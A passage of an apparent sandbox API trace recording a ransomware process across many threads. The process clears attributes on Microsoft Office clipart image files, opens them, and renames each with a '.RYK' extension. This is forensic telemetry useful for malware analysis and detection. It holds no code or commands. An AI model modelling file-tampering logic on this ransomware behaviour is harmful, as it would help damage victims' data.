	[0270.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3424
	os_tid = 0x3a70

	[0269.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF", dwFileAttributes=0x80) returned 0
	[0269.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.461] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.461] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3425
	os_tid = 0x3a74

	[0269.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP", dwFileAttributes=0x80) returned 0
	[0269.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.719] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3426
	os_tid = 0x3a78

	[0269.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF", dwFileAttributes=0x80) returned 0
	[0269.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.720] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3427
	os_tid = 0x3a7c

	[0269.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP", dwFileAttributes=0x80) returned 0
	[0270.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.163] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3428
	os_tid = 0x3a80

	[0269.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF", dwFileAttributes=0x80) returned 0
	[0270.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.163] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3429
	os_tid = 0x3a84

	[0269.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP", dwFileAttributes=0x80) returned 0
	[0270.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.162] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3430
	os_tid = 0x3a88

	[0269.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF", dwFileAttributes=0x80) returned 0
	[0270.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.154] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3431
	os_tid = 0x3a8c

	[0269.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP", dwFileAttributes=0x80) returned 0
	[0269.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.459] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3432
	os_tid = 0x3a90

	[0269.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP", dwFileAttributes=0x80) returned 0
	[0270.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.078] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3443
	os_tid = 0x3abc

	[0269.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP", dwFileAttributes=0x80) returned 0
	[0270.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.081] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3444
	os_tid = 0x3ac0

	[0269.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP", dwFileAttributes=0x80) returned 0
	[0270.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0270.471] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0270.471] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3445
	os_tid = 0x3ac4

	[0269.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP", dwFileAttributes=0x80) returned 0
	[0270.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.095] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3446
	os_tid = 0x3ac8

	[0269.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP", dwFileAttributes=0x80) returned 0
	[0270.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.098] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3447
	os_tid = 0x3acc

	[0269.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP", dwFileAttributes=0x80) returned 0
	[0270.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.100] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3448
	os_tid = 0x3ad0

	[0269.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG", dwFileAttributes=0x80) returned 0
	[0270.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.082] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.082] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3449
	os_tid = 0x3ad4

	[0269.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG", dwFileAttributes=0x80) returned 0
	[0270.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.103] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3450
	os_tid = 0x3ad8

	[0269.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG", dwFileAttributes=0x80) returned 0
	[0270.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.084] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.084] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3451
	os_tid = 0x3adc

	[0269.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF", dwFileAttributes=0x80) returned 0
	[0270.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.105] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3452
	os_tid = 0x3ae0

	[0269.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG", dwFileAttributes=0x80) returned 0
	[0270.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.085] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3453
	os_tid = 0x3ae4

	[0269.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP", dwFileAttributes=0x80) returned 0
	[0270.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.087] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3454
	os_tid = 0x3ae8

	[0270.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP", dwFileAttributes=0x80) returned 0
	[0270.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.089] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3460
	os_tid = 0x3b00

	[0270.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF", dwFileAttributes=0x80) returned 0
	[0270.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.107] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.107] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3461
	os_tid = 0x3b04

	[0270.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG", dwFileAttributes=0x80) returned 0
	[0270.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.109] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3462
	os_tid = 0x3b08

	[0270.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG", dwFileAttributes=0x80) returned 0
	[0270.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.111] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3463
	os_tid = 0x3b0c

	[0270.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG", dwFileAttributes=0x80) returned 0
	[0270.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0275.113] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0275.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3464
	os_tid = 0x3b10

	[0270.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG", dwFileAttributes=0x80) returned 0
